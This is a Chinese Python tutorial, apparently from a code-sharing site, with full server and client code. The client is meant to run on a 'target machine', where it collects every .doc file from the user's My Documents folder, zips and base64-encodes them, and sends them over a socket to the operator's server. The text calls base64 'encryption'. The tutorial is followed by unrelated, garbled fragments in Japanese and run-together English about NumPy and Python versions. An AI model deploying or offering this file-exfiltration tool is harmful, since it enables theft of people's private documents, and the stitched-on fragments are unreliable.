本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:
该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件
服务器端程序:
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 6553500 #6M
key = 'ouyang'
timeout = 5
dicName = "ouyang\\"
ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ss.bind((HOST,PORT))
ss.listen(5)
print "wating for conntecting..."
while True:
try:
cs,addr = ss.accept()
socket.setdefaulttimeout(timeout)
cs.send("200 Connected!")
#获取加密数据
encode_data = cs.recv(BUF_SIZE)
#把数据写到out.zip文件
tmpfile = open('out.tmp','wb')
try:
tmpfile.write(encode_data)
tmpfile.close()
except IOError,e:
print 'Strange error creating IOError:%s' % e
tmpfile.close()
finally:
tmpfile.close()
#base64 decode 2进制 解密 decode(infile,outfile)
tmpfile = open('out.tmp','rb')
outfile = open('out.zip','wb')
base64.decode(tmpfile,outfile)
tmpfile.close()
outfile.close()
#打开zip文件
zfile = zipfile.ZipFile('out.zip','r')
#创建一个文件夹来存放获取的zip文件
if not os.path.exists(dicName):
os.mkdir(dicName)
for f in zfile.namelist():
data = zfile.read(f)
file = open(dicName+os.path.basename(f),'w+b')
file.write(data)
file.close()
print "finished!!!"
zfile.close()
#后续处理 删除临时文件
os.remove('out.tmp')
cs.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
cs.close()
ss.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
ss.close()
if __name__=='__main__':
main()
客户端程序:
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 65535
key = 'ouyang'
dicName = "C:\Documents and Settings\Administrator\我的文档"
extName = '.doc'
#遍历搜索我的文档的doc类型
try:
filelist = []
walk_dir(dicName,filelist,extName)
except IOError,e:
print "文件处理错误: " % e
sys.exit(-1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
cs.connect((HOST,PORT))
print cs.recv(BUF_SIZE)
#压缩成zip文件
zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
for f in filelist:
zfile.write(f)
zfile.close()
#base 2进制 加密 encode(infile,outfile)
infile = open('in.zip','rb')
tmpfile = open('in.tmp','wb')
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
#send
tmpfile = open('in.tmp','rb')
cs.send(tmpfile.read())
tmpfile.close()
#后续处理 删除中间文件
os.remove('in.tmp')
cs.close()
except socket.error ,e:
print 'socket 出错啦:' % e
cs.close()
if __name__=='__main__':
main()
希望本文所述对大家的Python程序设计有所帮助。

Arraysinpython、特にvianumpy、arecrucialinscientificComputing fortheirefficienty andversitility.1)彼らは、fornumericaloperations、data analysis、andmachinelearning.2)numpy'simplementation incensuresfasteroperationsthanpasteroperations.3)arayableminablecickick

Pyenv、Venv、およびAnacondaを使用して、さまざまなPythonバージョンを管理できます。 1)Pyenvを使用して、複数のPythonバージョンを管理します。Pyenvをインストールし、グローバルバージョンとローカルバージョンを設定します。 2)VENVを使用して仮想環境を作成して、プロジェクトの依存関係を分離します。 3)Anacondaを使用して、データサイエンスプロジェクトでPythonバージョンを管理します。 4)システムレベルのタスク用にシステムPythonを保持します。これらのツールと戦略を通じて、Pythonのさまざまなバージョンを効果的に管理して、プロジェクトのスムーズな実行を確保できます。

numpyarrayshaveveraladvantages-averstandardpythonarrays:1)thealmuchfasterduetocベースのインプレンテーション、2)アレモレメモリ効率、特にlargedatasets、および3)それらは、拡散化された、構造化された形成術科療法、

パフォーマンスに対する配列の均一性の影響は二重です。1)均一性により、コンパイラはメモリアクセスを最適化し、パフォーマンスを改善できます。 2)しかし、タイプの多様性を制限し、それが非効率につながる可能性があります。要するに、適切なデータ構造を選択することが重要です。

craftexecutablepythonscripts、次のようになります

numpyarraysarasarebetterfornumeroperations andmulti-dimensionaldata、whilethearraymoduleissuitable forbasic、1)numpyexcelsinperformance and forlargedatasentassandcomplexoperations.2)thearraymuremememory-effictientivearientfa

NumPyArraySareBetterforHeavyNumericalComputing、whilethearrayarayismoreSuitableformemory-constrainedprojectswithsimpledatatypes.1)numpyarraysofferarays andatiledance andpeperancedatasandatassandcomplexoperations.2)thearraymoduleisuleiseightweightandmemememe-ef

ctypesallowsinging andmanipulatingc-stylearraysinpython.1)usectypestointerfacewithclibrariesforperformance.2)createc-stylearraysfornumericalcomputations.3)passarraystocfunctions foreffientientoperations.how、how、becuutiousmorymanagemation、performanceo


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